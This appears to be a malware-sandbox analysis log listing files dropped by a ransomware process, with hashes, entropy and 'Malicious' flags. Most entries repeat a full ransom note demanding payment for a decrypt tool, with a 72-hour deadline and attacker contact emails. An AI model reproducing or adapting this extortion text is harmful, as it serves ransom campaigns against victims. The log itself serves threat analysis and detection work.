                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1226
                                                                                                                                                                Entropy (8bit):7.838488860432242
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:RN+TNkw56Tj3GH62ecQkKMjN3LsUxrf8th6XXEgM4KmhNNa9pqAZESv0BlwX:RN+TNkw5+7662eLcj5RgiEpWjNSpiG9
                                                                                                                                                                MD5:4C58DC56AF258CF90FC3D0E18D352CCD
                                                                                                                                                                SHA1:379531C0BEC5B6AF74641FE5D0FAEE127A3C71A1
                                                                                                                                                                SHA-256:B21CC01241EA9D6A1421453D9A2E23DCF6726F2C931D77AFF633794B59B9F7E0
                                                                                                                                                                SHA-512:420F5826B84ABC22F1C483E557106BB69697E5AAC35EF633A1BFB1D883E3DCB271F73B993006C1D143CD7B193892C1BC27CA376CD188CE0F5C70135B79A676E8
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.Hp6.A..(.I..SR..".6..C...t.H)...4.y......B82.nh.xPK=|d...D..*...o.`..N..4.....0.n../.p.l....2&h.@Td['.L..w........e...v.Vs..2..VB.\..o.t\.a.....1.!.F.K...[?BY=..U...B......P..9ns7W*...A=...`....0......|.n....sr..:.....Z>o.. .!P....{.148..).Y~... @..SOo.....,.I..........0oUp\.....|.......5</...$.U.@.rR. y*DG.sT.7...9....).n....>..!.Q..8........]......).H..[.u.3T.;.1HXr5.>.......3..e..!..6.C.I.......p.\Y+~.....H.2..n.."..=....8.....QT.....Mn..%...*....3..+...]r....(...c{d....H...k.I0.5..$....&.Fy.[ ..x.{.P....z..0.C..;#.~C....;..G....T......F.....e.x....=........J.U.S.L.P.Q...O.4..GkA.....l..QK...f..?d.fKc.B..W.+.a.An..06..{q@..}..........4".eL/.*..u.Rf..H.....(y....l.....=.v.... 7DV.%........q....^....|V.m...8g.........s..%....H.l..90.h)........0.(..5...(Q.e6.p.ZH.\..wB#H..g...c.af(U.../......].OI..P.~...../.....M&..]uO.7Rs.......+..5L..(.Q.8..I\....n.....}.j..hO.1..t.9z....XHk..Y..0*.`H.....JR...E........}^...<.a.?.t...{7.|...M{l.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1226
                                                                                                                                                                Entropy (8bit):7.838488860432242
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:RN+TNkw56Tj3GH62ecQkKMjN3LsUxrf8th6XXEgM4KmhNNa9pqAZESv0BlwX:RN+TNkw5+7662eLcj5RgiEpWjNSpiG9
                                                                                                                                                                MD5:4C58DC56AF258CF90FC3D0E18D352CCD
                                                                                                                                                                SHA1:379531C0BEC5B6AF74641FE5D0FAEE127A3C71A1
                                                                                                                                                                SHA-256:B21CC01241EA9D6A1421453D9A2E23DCF6726F2C931D77AFF633794B59B9F7E0
                                                                                                                                                                SHA-512:420F5826B84ABC22F1C483E557106BB69697E5AAC35EF633A1BFB1D883E3DCB271F73B993006C1D143CD7B193892C1BC27CA376CD188CE0F5C70135B79A676E8
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.Hp6.A..(.I..SR..".6..C...t.H)...4.y......B82.nh.xPK=|d...D..*...o.`..N..4.....0.n../.p.l....2&h.@Td['.L..w........e...v.Vs..2..VB.\..o.t\.a.....1.!.F.K...[?BY=..U...B......P..9ns7W*...A=...`....0......|.n....sr..:.....Z>o.. .!P....{.148..).Y~... @..SOo.....,.I..........0oUp\.....|.......5</...$.U.@.rR. y*DG.sT.7...9....).n....>..!.Q..8........]......).H..[.u.3T.;.1HXr5.>.......3..e..!..6.C.I.......p.\Y+~.....H.2..n.."..=....8.....QT.....Mn..%...*....3..+...]r....(...c{d....H...k.I0.5..$....&.Fy.[ ..x.{.P....z..0.C..;#.~C....;..G....T......F.....e.x....=........J.U.S.L.P.Q...O.4..GkA.....l..QK...f..?d.fKc.B..W.+.a.An..06..{q@..}..........4".eL/.*..u.Rf..H.....(y....l.....=.v.... 7DV.%........q....^....|V.m...8g.........s..%....H.l..90.h)........0.(..5...(Q.e6.p.ZH.\..wB#H..g...c.af(U.../......].OI..P.~...../.....M&..]uO.7Rs.......+..5L..(.Q.8..I\....n.....}.j..hO.1..t.9z....XHk..Y..0*.`H.....JR...E........}^...<.a.?.t...{7.|...M{l.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
